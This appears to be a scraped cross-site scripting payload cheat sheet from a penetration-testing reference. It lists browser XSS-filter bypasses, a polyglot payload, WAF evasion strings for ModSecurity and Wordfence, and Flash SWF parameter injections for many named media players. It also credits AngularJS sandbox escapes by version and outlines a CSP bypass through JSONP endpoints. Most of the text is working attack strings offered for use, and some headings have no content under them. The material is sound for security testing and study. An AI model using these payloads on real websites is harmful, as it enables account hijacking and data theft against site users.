Chrome XSS-Auditor Bypass by @vivekchsmarrow-up-right
Copy < svg >< animate xlink:href = #x attributeName = href values = javascript:alert(1) />< a id = x >< rect width = 100 height = 100 /></ a > Chrome < v60 beta XSS-Auditor Bypass
Copy < script src = " data:,alert(1)%250A--> Other Chrome XSS-Auditor Bypasses
Copy < script > alert ( 1 )</script
Copy < script > alert ( 1 ) % 0 d % 0 a -->% 09 </script
Copy < x > %00%00%00%00%00%00%00 < script > alert ( 1 )</ script > Safari XSS Vector by @mramydneiarrow-up-right
Copy < script > location . href ; ' javascript:alert%281%29 ' </ script > XSS Polyglot by Ahmed Elsobkyarrow-up-right
Copy jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e Kona WAF (Akamai) Bypass
ModSecurity WAF Bypass Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html
Copy < img src = x onerror = prompt ( document . domain ) onerror = prompt ( document . domain ) onerror = prompt ( document . domain ) > Wordfence XSS Bypasses
Copy < meter onmouseover = " alert ( 1 ) "
Copy '">> < div >< meter onmouseover = " alert ( 1 ) " </div > " Incapsula WAF Bypasses by @i_bo0omarrow-up-right
jQuery < 3.0.0 XSS by Egor Homakovarrow-up-right
In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:
Find any cross domain requests to untrusted domains which may inadvertently execute script.
Find any requests to trusted API endpoints where script can be injected into data sources.
URL verification bypasses (works without 	 too)
Markdown XSS
Flash SWF XSS
ZeroClipboard: ZeroClipboard.swf?id=\"))}catch(e){confirm(/XSS./.source);}//&width=500&height=500&.swf
plUpload Player: plupload.flash.swf?%#target%g=alert&uid%g=XSS&
plUpload MoxiePlayer: Moxie.swf?target%g=confirm&uid%g=XSS (also works with Moxie.cdn.swf and other variants)
FlashMediaElement: flashmediaelement.swf?jsinitfunctio%gn=alert1
videoJS: video-js.swf?readyFunction=confirm and video-js.swf?readyFunction=alert%28document.domain%2b'%20XSS'%29
YUI "io.swf": io.swf?yid=\"));}catch(e){alert(document.domain);}//
YUI "uploader.swf": uploader.swf?allowedDomain=\%22}%29%29%29}catch%28e%29{alert%28document.domain%29;}//<
Open Flash Chart: open-flash-chart.swf?get-data=(function(){alert(1)})()
AutoDemo: control.swf?onend=javascript:alert(1)//
Adobe FLV Progressive: /main.swf?baseurl=asfunction:getURL,javascript:alert(1)// and /FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//
Banner.swf (generic): banner.swf?clickTAG=javascript:alert(document.domain);//
JWPlayer (legacy): player.swf?playerready=alert(document.domain) and /player.swf?tracecall=alert(document.domain)
SWFUpload 2.2.0.1: swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!confirm(1);//
Uploadify (legacy): uploadify.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;confirm(%27XSS%27)}}//&.swf
FlowPlayer 3.2.7: flowplayer-3.2.7.swf?config={"clip":{"url":"http://edge.flowplayer.org/bauhaus.mp4","linkUrl":"JavaScriPt:confirm(document.domain)"}}&.swf
Note: Useful reference on constructing Flash-based XSS payloads available at MWR Labs arrow-up-right .
Lightweight Markup Languages
RubyDoc (.rdoc)
Textile (.textilearrow-up-right )
reStructuredText (.rstarrow-up-right )
Unicode characters
AngularJS Template Injection based XSS
For manual verification on a live target, use angular.version in your browser console
1.0.1 - 1.1.5 by Mario Heiderich (Cure53)arrow-up-right
1.2.0 - 1.2.1 by Jan Horn (Google)arrow-up-right
1.2.2 - 1.2.5 by Gareth Heyes (PortSwigger)arrow-up-right
1.2.6 - 1.2.18 by Jan Horn (Google)arrow-up-right
1.2.19 - 1.2.23 by Mathias Karlssonarrow-up-right
1.2.24 - 1.2.29 by Gareth Heyes (PortSwigger)arrow-up-right
1.3.0 by Gábor Molnár (Google)arrow-up-right
1.3.1 - 1.3.2 by Gareth Heyes (PortSwigger)arrow-up-right
1.3.3 - 1.3.18 by Gareth Heyes (PortSwigger)arrow-up-right
1.3.19 by Gareth Heyes (PortSwigger)arrow-up-right
1.3.20 by Gareth Heyes (PortSwigger)arrow-up-right
1.4.0 - 1.4.9 by Gareth Heyes (PortSwigger)arrow-up-right
1.5.0 - 1.5.8 by Ian Hickeyarrow-up-right
1.5.9 - 1.5.11 by Jan Horn (Google)arrow-up-right
1.6.0+ (no Expression Sandboxarrow-up-right ) by Mario Heiderich (Cure53)arrow-up-right
Content Security Policy (CSP) bypass via JSONP endpoints
Grab the target's CSP:
Either paste the CSP into https://csp-evaluator.withgoogle.com/ or just submit the target's address into the "Content Security Policy" field. The CSP Evaluator will notify you if one of the whitelisted domains has JSONP endpoints.
Now we can use a Google dork to find some JSONP endpoints on the domains listed above.